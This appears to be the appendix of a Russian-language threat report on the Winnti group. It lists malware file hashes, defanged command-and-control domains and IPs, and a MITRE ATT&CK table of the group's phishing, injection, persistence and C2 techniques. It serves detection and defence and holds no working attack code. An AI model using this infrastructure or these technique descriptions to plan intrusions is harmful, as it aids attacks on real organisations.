0041b28d1f076e196af761a536aa800ebe2fcaea9084a8e17d2a43c43765efdd 0cb8ed29268ec9848ff1c7f25f28b620271e61c9 131711477620098191777f93c580ee6c
0756216ea3fea5b394e2fa86e90a75f05c3da2b4b47d61110559bd28f51da8e6 7a1c5e1799bdeebb01527f54a7fd89d0b720dea7 53e2c1eb6b87e92b5f534503f011f6ee
34aeaa89aab983318ed8f6da32556faf3057a92dc045fac1f960f3aaad3a1ba1 a42e6dc7f248794e91e4ec251c2c96164215b7be f02a87562ffdd7a1c941dac4175854b0
40101054d18eb50b65c2ce32b00352d2486008f67c63baec5ef93cac9d5c81ed 11d7145b85fea84aed35c60857560a66dbff5a27 e5271b41cf32892cc16445ac0783f3f7
4665280d4b34c5388edeb51a6d5e808d2942c364017a42d3f1fac186b21eb571 09a3fb96edbd5e143ba3b579cb2c09d0dd9469eb da220930ac3e45a713d9da2e6c1c246a
46f03ddf74c47960a3731de18f123b2110153ed668f9bf6ed3badd7fd099ccb6 90c104dadb5c21b4fca644b37f7043fef7e72d2b 71b250a873a070415fed172759a42b7d
4f2d8c437d32dc075074f01d10698f6d4dfc4d4bd8a595dabaa2519c6a025c8e e629fda195636d99ac587b354b5c6fc228d65d81 8b2e72f2b13c63a583ae9a9cd474adf6
655c21fc31967282d8517b3c845f775cd0a80595f90c5c85b6027110532a1cf9 5fa5593b52cfc866c51f55e9a56b1adcc9db01d1 318b3661ec5929f069e7821fac537fe0
8f8ee8d2bc6c559a0a09ce3958727dee2f30880c615b2788d757917ca55d43ef b769c9c708f59be0a0d68ddf3076c9d9037b6c27 1d6def7a4bed4a8772e3cae6926d405b
8fb8134bf40ad6bddd60ea77b78c30dab72c736bf29172f89d03505b80c3ae8d 9a17591711383d96f7cc421a71d5d394e322189a 7af8c2055a608c920ba5e5c63fd43207
9bf32bf4a4bc1d13bddaa6402595ad76d2d9fcc91a988313f13ed990ccb1c4c1 68ae7f3d2cb22c70232a35ed59f6fed70fe0f3be fb2ac5049bdee8dd1753fa7e9d007e6b
9c3280bc1ebc239de86523a7046b45e9bb7ce7a40a869dda6ea92fcee727366a cf90d0b4ac09dc97f675fb3cfbc8eba89db211e8 bb6b9a60c3b4062669bac3608ca7b0c1
bfe2673b02c54be9093cff8fd564b630109175c608f07d94e4a2ac65028a6eae 59c4f47b1135f21a8814c8a838277f4cfa46f2e5 fcceb7a3bc3b0c48c8d9c91eb0b896ab
c93999f7622caf63cbcfb26966ff11719a4e26bca7d90a843461f44a3c982a30 0a8fbc71a936d2e7f2830fae3d57a2f1e8e43266 36fe1e0db5e74ed3e6adc039720c54d6
d0686f44fb7e77ce0f68cc91c4cef12dbd691bb99b0b7be77103b7b17eec3753 0b09ac7691cb9b8b7b5a2e453984bc75edbc8aeb b5605f71d18cc255dbbd910ac008ae6e
d6a05e20da5012c0cfc491b0044f7fded9322f5bbc664092c4b481709c3472e0 735e97688a70d24d922cf9a3951c5e23a91cbcb1 4a89eb933fa87d85542488df6ae20d82
e7f5a30d4bf7915cc97374e0f6a29573d4640961166b5c9b942030e8c10949d8 c224763846f8f61442e893cb8e9070ce67be5dc8 63c1b74c829ee362730ff37d6101d276
e935699b31707ecf9e006940f31f09514688cb45e078a66724603ee7fadf84db 5ba9f7cd51e8eac88f870e340c8262683d92563d 99b86e64d76d21b2a5bfeb48b89e3935
f36a0b99973a837d5e4d542edd739df7cac10e207be538d47a106c4edf7cff54 fde9357e8d6a3336dbd82d2e22dbc0772640f63f 0133bd3f26788732a580115218d98273
f69c6e8fe1188a461bfe249ba7afefbd7a787fcd0777c008f9580f6976118898 d3d4c7cf257f9fe97bdf31a4b0e3f66726fb1b6f 3d09dee9bc20abf33b64bcb4c6d3130f
fad80dc36a59d1cc67f3c4f5deb2650ca7f5abac43858bf38b46f60d6bb4b196 119b92462a91f9cc8b24dfbd84fb88ef47ecab97 247c48b8758a9eba48bfe39c53ff9e6e
0187d3fae2dfc1629e766d5df38bdabf5effcb4746befceb1aaf283e9fe063a1 648594c25aebf3865c35ce6057e36b42e9e3be31 dbc30db0ed5ba1ea3b2e500823448c6c
45d175f3c1cb6067f60ea90661524124102f872830a78968f46187d6bc28f70d 418fab494383e2ae0d94900344853cc0bc6d5385 337171764c99b7ae87c030e11cda00c6
ca0f235b67506ed5882fe4b520fd007f59c0970a115a61105a560b502745ac6a 1c265ed6b5875a619a427db1663f48fe7db01d88 2a3e63fdbcbbad9b4be8b35a180ea0d4
abac7a72b425ff38f8a7d8b66178da519525dc2137ca8904b42301fb46a8983e d9b692d84bdc134f90b54ac2a30f6832d70e730b 211db7515faa09aa0623b327bd1530f1
645b14df1bd5e294ec194784bc2bd13e0b65dac33897c9b63ad9ed35ec6df3a8 6d3643bfdd1bd85cfdfe4b05eaf2939bbf4b22f0 359f5615dcf2f75bc74146afad630427
6b4b9cf828f419298cd7fda95db28c53fc53627124224d87d2ad060185767957 59208d32dd7440bbe4142882b8ad1ac033f08918 bae0fc6f570ca12a9b2980dd00bc673c
7fd19347519ec15ab8dbce66722b28a917b87ad034282ef90851e1b994463644 c4467556640ad45fb8e56d1fb95c93e57b209924 086186c935a68e7167113da46a17fa80
8308e54055b45eb63dc6c4c6a4112310a45dec041c1be7deb55bec548617136f c44934f47c98c7cde7ba5978ca315a5e9099d0c8 cf13bdefb622fc90dcda39e20e45d636
adf52650ce698e17d5ff130bc975a82b47c6c175ad929083d757ec0fe7c4b205 bed84d4ef7bd8c5fb683eab51d849c891328b4d4 08393f7d6e0ee2b7472173f4419a602d
fb707094673a48408f9ba5240019cb502b9367fb380bb1734e0243e90b9399c3 e452227d134fe14df3ca35cd2abf7f1e922aa5d6 d761c07911138e605723f891965035b8
4da733bbf7d585ee5b5a58c0ad77047ce640a4512a84502ad5ae9240ee2fcdb0 ff362a3d5d873f8fd0f7c2f150582dab9251cf2c 5eab890242e8b811865e1bd3a7fd7868
bef3f87c6582813e23b0c8c8db9ca9ed65bc802445187378f4e62a7246133ae2 27e4115041c059dce22322e0242002353ab14814 6d33db967323d822ba3239dcdfcb555c
b83534071bbcacc175449faadbb1d6b0852fe58521da0fefd5398a4a9b1fb884 26ca2262f31dcc1fd6ad56f1f371a363163ba7f2 d12013fb90a60869cfdaaffe1a18467d
adf52650ce698e17d5ff130bc975a82b47c6c175ad929083d757ec0fe7c4b205 bed84d4ef7bd8c5fb683eab51d849c891328b4d4 08393f7d6e0ee2b7472173f4419a602d
e4df8634f5f231fae264684e63b3e0c6497b98dd24ba1b0c6f85c156d33a079c e3e7b719fa1bb3fd12bb82592f85c3e4c3b1d7fa 03275b5b1f9d11b1731d5746827d00b1
afb5e3f05d2eedf6e0e7447a34ce6fd135a72dad11660cf21bec4178d0edc15b c67ad0bb292ed20dbe9ba980e71d223249632252 38857fb40e0655495df270777043b813
1968f29b67920fc59e54eba7852a32f20ecbf3f09481c09ddbee1dedc37f296e b49679280a2c5b01d0126fc835cc29e4fdc5900d 468c5c3f46299c67366727a58e3322e4
be70b599e8d7272e8debf49e6bf6e5d8d9f1965812f387a9f1e75aa34788a7c7 88282f8c93d61fd0caaec8807448e96f90101901 db394163c7e6e511d0e4046ff34d67e2
PL-шеллкод: Metasploit
f6085075e906a93a9696d9911577d16e2b5a92bc6b7c514d62992c14d5999205 4a0b8e9a56876c11c667b9ce77b371d2c6d07891 8849cf257c383044c006beb8e66d3add
PL-шеллкод: Cobalt Strike BEACON
43fe07f9adeb32b20e21048e9bb41d01e6b3559d98088ac8cd8ab0fad766b885 30dee2118fc28bb0b2804275c92daf58236824e5 2a2a50ec29f741faecbff0bcf705da0a
6867f3d853de5dfe8adbd761576c29ad853611d8d1c7fdd15b07125fd05321f8 7420afe3c0c91442fac0c6df5dd1cfedd76503de 69b9d1fc0edb0a67909847e43ac79ccf
0c6c6ba92661c119168a5486faa1af94673bd4d770c13c2b49d7a0651f798857 cb552c22718ca9eaf16792c1ecc583c09f1f19e1 b67ff211420c9f5647df2de02e771864
be7ba33fcb2a19bb2d1fe746f49c39fb1b8bd5d9e46d5b6610f8a2ad3f60b248 7849dcf58fbb930a1327635e13e9970d4bdc7121 9a478e85f1aed628e3fc1f7c8fdeae82
d1a548b9ad6b4468ee3c5f6e1aaaa515021255fb13e45ff34fbff5ad88bf4de2 93404b4005e7ab0e8c9282ced20c16820378792b eff6e2a93e60fe017e9f082cd6d3fac9
9ad808caa0b6a60a584566f3c172280617e36699326e7425356795b221af41dc f3093ae9f6633449c1d4f35804d1166dcbe09ece abb6e606a5fd22abfaefb1dbf970ce2f
eb9c850b1e8d8842eb900fa78135b518fb69da49c72304b5b3b4b6f4fa639e57 6c34f4f29cb3d8cc8f55a707d255de50caa67e8f b80d303171db4adb554e656aaba15fc9
e10046b86fe821d8208cb0a6824080ea6cd47a92d4f6e22ce7f5c4c0d9605e4b 1cc16e3a6185b790875e3f00b68ec87feddcf93f cd43240098f60c5d65290ef93ebdf6de
a783edae435c6fdf55e937b3246b454ed3b85583184b6ffc1b2faba75c9165cf aed326228551a4736012c1921d3be7079541c29e 07377cf8abcabcf4ec87e9dde67672d6
Атака с CHM-файлом
b6685eb069bdfeec54c9ac349b6f26fb8ecf7a27f8dfd8fcdb09983c94aed869 db190af369fdc654af39a54c44f37d5e5712fda8 06f945c39870743d51ca887efb32d649
5d549155b1a5a9c49497cf34ca0d6d4ca19c06c9996464386fc0ed696bf355a2 7dabbd292f8bb8b600439a9c1b2fa69eeecbcb88 46d3773e0e306b8a1ede7932b83fb034
02f5cb58a57d807c365edf8df5635263f428b099a38dff7fe7f4436b84efbe71 9c921a278ba4647269b45a5716b47ee47b6de24f e8c21f8f50bc5720b1713322db4a9022
3c8049bd7d2c285acc0685d55b73e4339d4d0a755acffad697d5a6806d95bb28 201eac040aa2693042efa7539a88e2676dcf89af e93bdab9e64bcce94f70a91e0ee115da
fcbd7ab82939b7e0aff38f48a1797ac2efdb3c01c326a2dcf828a500015e0e83 8a503147831499778b2d50f8337677c249c99846 21aa8aa3a92ebca1963595a328061843
3c6d304c050607a9b945b9c7e80805fc5d54ced16f3d27aaa42fce6434c92472 1e75cfd3db2cc4b0091e271a7533b828632f399c 951c5f08eef4ef8acc3352a44c7c0e80
4d3ad3ff281a144d9a0a8ae5680f13e201ce1a6ba70e53a74510f0e41ae6a9e6 9c1d4db37c2d72ac9761dd342feb8a31bc636d6d b22b232381ea465aeb81fb7077141d06
FunnySwitch
23dfce597a6afef4a1fffd0e7cf89eba31f964f3eabcec1545317efeb25082ed 6dd15c03ffd3762a20b0f51faf31724d5dbf1466 2b0c692d9eafed5e24f2b52234ea0fa2
2063fae36db936de23eb728bcf3f8a5572f83645786c2a0a5529c71d8447a9af c1e31f72adba9d5e2801e6766a24eb8d37807e9d 7e1948326ff96a1b6f8e8d6dee152e28
fbc56623dd4cdfdc917a9bb0fbe00fa213c656069c7094fe90ba2c355f580670 69b961af528eac458942dc1787f32dc432a328d9 2902f54dbd1f143784dfcb170dfc170d
fb0fdd18922977263f78becdedddab7a03c8de16a5431c7b4602e5be13110fa3 6e3d0537cd52965e52b06b984155191c41fe0a18 30684061b51971698984b531205429ca
b45baac2ae9c5fdfbf56131451962826a95d56f641af8ca1b74738c2eb939a76 4f0402e2638831d6259a366cf605eadb8c7fd478 5fcf6562217dd1bb21003a9613739aff
ff0527ea2f8545c86b8dfdef624362ed9e6c09d3f8589f873b1e08a895ef9635 ed8cc92b5a04620b01fcc4365e8f2ffe0c49eb30 f5b3106f2ff44bf860d077e77a1992e3
931ea6a2fc0d5b4c5c3cf2cba596a97eaa805981414c9cda4b26c8c47bf914df ebb08480d3d94d6d3a8d85894d297db996d57b4f b6953b1d1c78770a6d4b3e0c9d146d9b
568298593d406bd49de42688365fdc16f4a5841198583527a35f6a7d518a6b0e 425e6c8e89f45a8fe57a27d1eacdc850b2286099 bbeca57f7993a34e6296c8dedb996b76
ShadowPad
03b7b511716c074e9f6ef37318638337fd7449897be999505d4a3219572829b4 147529e1a8b00a62fa2371600988b17487260448 a26d2c6f7df4b74b56f9376a2d234661
5a151aa75fbfc144cb48595a86e7b0ae0ad18d2630192773ff688ae1f42989b7 ea43dbef69af12404549bc45fda756bfefcb3d88 493698b1d7acfbf57848b964b4b0ae97
3b70be53fd7421d77f14041046f7484862e63a33ec4b82590d032804b1565d0d ebcb044373550b787553a9b9cd297f4b8c330cd3 652c44a6b5d09bf4c749a4b4d1bae895
ae000f5cef11468dde774696423ca0186b46e55781a4232f22760a0bfbfb04f0 ee4744c4e74aa9933f3a5c340d9b739f8399b7f2 4001d217c9a77d5839fbc033937f7ed4
5f1a21940be9f78a5782879ad54600bd67bfcd4d32085db7a3e8a88292db26cc f6f6f352fa58d587c644953e4fd1552278827e14 52c28bdb6b1fc4d77b1ea58dc8c1c810
e93a9e59ee2c1a18cee75eedcbe968ed552d5c62ec6546c8a1c1f1ae2019844e 1a654b4191a3196353801d37a1de21535eb7a41c eb763c30f69c4f438be7545e2a1ca76c
1f64194a4e4babe3f176666ffd8ee0d76d856825c19bfcd783aec1bacb74fd05 801b756019c075ef6a20c8219157fe8f92deebc1 791f92ce878c8327337eb8e35675a715
531e54c055838f281d19fed674dbc339c13e21c71b6641c23d8333f6277f28c0 6966687463365f08cfb25fd2c47c6e9a27af22b0 4ad23aae3409c31d3d72e1d10e9d957d
a1fa8cad75c5d999f1b0678fa611009572abf03dd5a836f8f2604108b503b6d2 c1af22e0d0585f6c6a2deab22a784717ee33f36d 882a60c3173e252469eb4731af3342bd
37be65842e3fc72a5ceccdc3d7784a96d3ca6c693d84ed99501f303637f9301a 05a2b848965d77fa154ca24fa438b8e5390c21f5 e542c6fabe80af604d31ef8eaaf94053
PlugX
94ea23e7f53cb9111dd61fe1a1cbb79b8bbabd2d37ed6bfa67ba2a437cfd5e92 14c1e3dd30ef1e22e6ebadd65fb883d3e0354d47 329ecc81b222a796f46859d16bd4813c
ac5b4378a907949c4edd2b2ca7734173875527e9e8d5b6d69af5aea4b8ed3a69 2293a7510101ccfd83db4bd6429db2f9d406859a d55e9a302203c8800ca89b757b0588ed
e54b7d31a8dd0fbab1fa81081e54b0b9b07634c13934adaf08b23d2b6a84b89a c40acafac6c1c3ba1d1cf5497bfaf5f682f9884a a7542a2dc4dd52bd4c9b08741dc32ad7
b59a37f408fcfb8b8e7e001e875629998a570f4a5f652bcbb533ab4d30f243f7 d1cf03da461f81822287465be5942931ac29737d d3ef032a67242789316e364f7e798ff4
ccdb8e0162796efe19128c0bac78478fd1ff2dc3382aed0c19b0f4bd99a31efc 22bac40e845ec6551396b77e6257f50634993883 7affcfb9857cc14dcc07fb8d226f03e0
4dad1e908604c2faa4ad9d9ef3dcebc3a163e97398d41e5e398788fe8da2305b 7cbaa1757bafa3a6be0793b959feac1ea73d88ff f749aa99a08fdc737f90813f174abb30
4a89a4d9fa22f42c6d3e51cf8dca0881e34763fe0448b783599bfc00984fd2ee bd31d8bad119b9da702889b44854b054f15e2f47 4489d5077c5d2396e3a94d652adae1ca
18a14cec1abcb9c02c1094271d89f428dec1896924a949ed760d38cd0dea7217 a2e88dfb93c23ba7cd38a820b2e64f14192079c2 8d6737d573ef70b47fd39a4c5a552e0f

Сетевые индикаторы

Атаки с LNK-файлами

www.comcleanner[.]info

45.76.6[.]149

http://zeplin.atwebpages[.]com/inter.php

http://goodhk.azurewebsites[.]net/inter.php

http://sixindent.epizy[.]com/inter.php

Шеллкод-инжекторы

6q4qp9trwi.dnslookup[.]services

d89o0gm34t.livehost[.]live

d89o0gm35t.livehost[.]live

168.106.1[.]1

149.28.152[.]196

207.148.99[.]56

149.28.84[.]98

Шеллкод-загрузчики

exchange.dumb1[.]com

microsoftbooks.dynamic-dns[.]net

microsoftdocs.dns05[.]com

ns.microsoftdocs.dns05[.]com

ns1.dns-dropbox[.]com

ns2.dns-dropbox[.]com

ns1.microsoftsonline[.]net

ns2.microsoftsonline[.]net

ns3.mlcrosoft[.]site

onenote.dns05[.]com

service.dns22[.]ml

update.facebookdocs[.]com

104.224.169[.]214

107.182.24[.]70

107.182.24[.]70

149.248.8[.]134

149.28.23[.]32

176.122.162[.]149

45.76.75[.]219

66.42.103[.]222

66.42.107[.]133

66.42.48[.]186

66.98.126[.]203

FunnySwitch

7hln9yr3y6.symantecupd[.]com

db311secsd.kasprsky[.]info

doc.goog1eweb[.]com

ShadowPad

cigy2jft92.kasprsky[.]info

update.ilastname[.]com

PlugX

ns.mircosoftbox[.]com

ns.upgradsource[.]com

update.upgradsource[.]com

103.79.76[.]205

107.174.45[.]134

10.3 MITRE

ID Название Описание
Reconnaissance
T1593.001 Search Open Websites/Domains: Social Media Группа Winnti использует Twitter-аккаунт для получения информации об игре
T1594 Search Victim-Owned Websites Группа Winnti находит сайт игровой компании и использует информацию с него для создания приманки
Resource Development
T1583.001 Acquire Infrastructure: Domains Группа Winnti покупает доменные имена, похожие на имена легитимных сервисов, включая сайт жертвы
T1583.006 Acquire Infrastructure: Web Services Группа Winnti может использовать GitHub и Google Docs для обновления C2
T1587.001 Develop Capabilities: Malware Группа Winnti использует в атаках собственное ВПО
T1587.003 Develop Capabilities: Digital Certificates Группа Winnti создает самоподписанные сертификаты для использования в HTTPS-трафике с C2
T1588.001 Obtain Capabilities: Malware Группа Winnti использует в атаках PlugX
T1588.002 Obtain Capabilities: Tool Группа Winnti использует в атаках Metasploit и Cobalt Strike
T1588.003 Obtain Capabilities: Code Signing Certificates Группа Winnti похищает сертификаты подписи кода в скомпрометированных организациях
T1588.005 Obtain Capabilities: Exploits Группа Winnti использует публичный эксплойт для RCE через CHM-файл
Initial Access
T1566.001 Phishing: Spearphishing Attachment Winnti рассылает фишинговые письма с вредоносными вложениями
T1566.002 Phishing: Spearphishing Link Winnti рассылает фишинговые письма с вредоносными ссылками
Execution
T1059.003 Command and Scripting Interpreter: Windows Command Shell Winnti использует интерпретатор cmd.exe и файлы .bat для исполнения команд
T1059.005 Command and Scripting Interpreter: Visual Basic Winnti использует VBS-файлы для передачи управления следующим стадиям вредоносного кода
T1059.007 Command and Scripting Interpreter: JavaScript/JScript Winnti использует вредоносный код на JScript на промежуточных стадиях атаки и в качестве полезной нагрузки
T1203 Exploitation for Client Execution Winnti эксплуатирует RCE в CHM-файле через объект ActiveX
T1106 Native API Winnti использует различные функции WinAPI для выполнения вредоносного шеллкода в текущем процессе или для внедрения его в другой процесс
T1204.002 User Execution: Malicious File Winnti пытается заставить пользователей запустить вредоносные файлы в форматах LNK, CHM и EXE
Persistence
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Winnti закрепляется в системе через ветку реестра с параметрами автозагрузки или через папку автозагрузки
T1543.003 Create or Modify System Process: Windows Service Winnti закрепляется на зараженном узле через создание новых сервисов
T1053.005 Scheduled Task/Job: Scheduled Task Winnti создает задачу с помощью schtasks для закрепления в системе
Defense evasion
T1140 Deobfuscate/Decode Files or Information Для хранения шеллкода с полезной нагрузкой Winnti использует собственный PL-формат с шифрованием
T1574.002 Hijack Execution Flow: DLL Side-Loading Winnti использует легитимные утилиты для загрузки DLL с ShadowPad и PlugX
T1562.004 Impair Defenses: Disable or Modify System Firewall FunnySwitch добавляет разрешающие правила Windows Firewall для соединения с C2
T1070 Indicator Removal on Host Paranoid PlugX удаляет артефакты, созданные во время заражения, из файловой системы и реестра
T1202 Indirect Command Execution Winnti использует промежуточные VBS-скрипты для запуска BAT-файлов
T1027.002 Obfuscated Files or Information: Software Packing Winnti может использовать VMProtect или собственные упаковщики для своего ВПО
T1055.002 Process Injection: Portable Executable Injection Winnti инжектирует шеллкод в процессы explorer.exe, winlogon.exe, wmplayer.exe, svchost.exe, spoolsv.exe
T1218.001 Signed Binary Proxy Execution: Compiled HTML File Winnti использует CHM-файлы, содержащие вредоносный код
T1218.004 Signed Binary Proxy Execution: InstallUtil Paranoid PlugX может использовать InstallUtil для запуска вредоносной сборки .NET
T1553.002 Subvert Trust Controls: Code Signing Winnti использует похищенные сертификаты для подписи своего ВПО
Discovery
T1082 System Information Discovery Бэкдоры Winnti собирают информацию о версии и разрядности ОС, имени компьютера
T1016 System Network Configuration Discovery Бэкдоры Winnti собирают информацию об IP- и MAC-адресах зараженного узла
T1033 System Owner/User Discovery Бэкдоры Winnti собирают информацию об имени текущего пользователя
Collection
T1119 Automated Collection Бэкдоры Winnti автоматически собирают информацию о зараженном узле
Command and Control
T1071.001 Application Layer Protocol: Web Protocols Бэкдоры Winnti могут использовать HTTP/HTTPS для соединения с C2
T1132.001 Data Encoding: Standard Encoding Winnti использует GZip для сжатия передаваемых данных в FunnySwitch
T1001.003 Data Obfuscation: Protocol Impersonation Winnti использует FakeTLS в трафике Crosswalk
T1573.001 Encrypted Channel: Symmetric Cryptography Winnti использует AES для шифрования трафика в своих бэкдорах
T1008 Fallback Channels Конфигурация бэкдоров Winnti поддерживает указание нескольких C2 разных типов
T1095 Non-Application Layer Protocol Бэкдоры Winnti могут использовать TCP и UDP для соединения с C2
T1090.001 Proxy: Internal Proxy FunnySwitch может устанавливать соединение с C2 через peer-to-peer сеть из зараженных хостов
T1090.002 Proxy: External Proxy Бэкдоры Winnti поддерживают возможность соединения с C2 через внешний прокси-сервер HTTP/SOCKS
T1102.001 Web Service: Dead Drop Resolver Winnti использует Google Docs для обновления адреса C2 в PlugX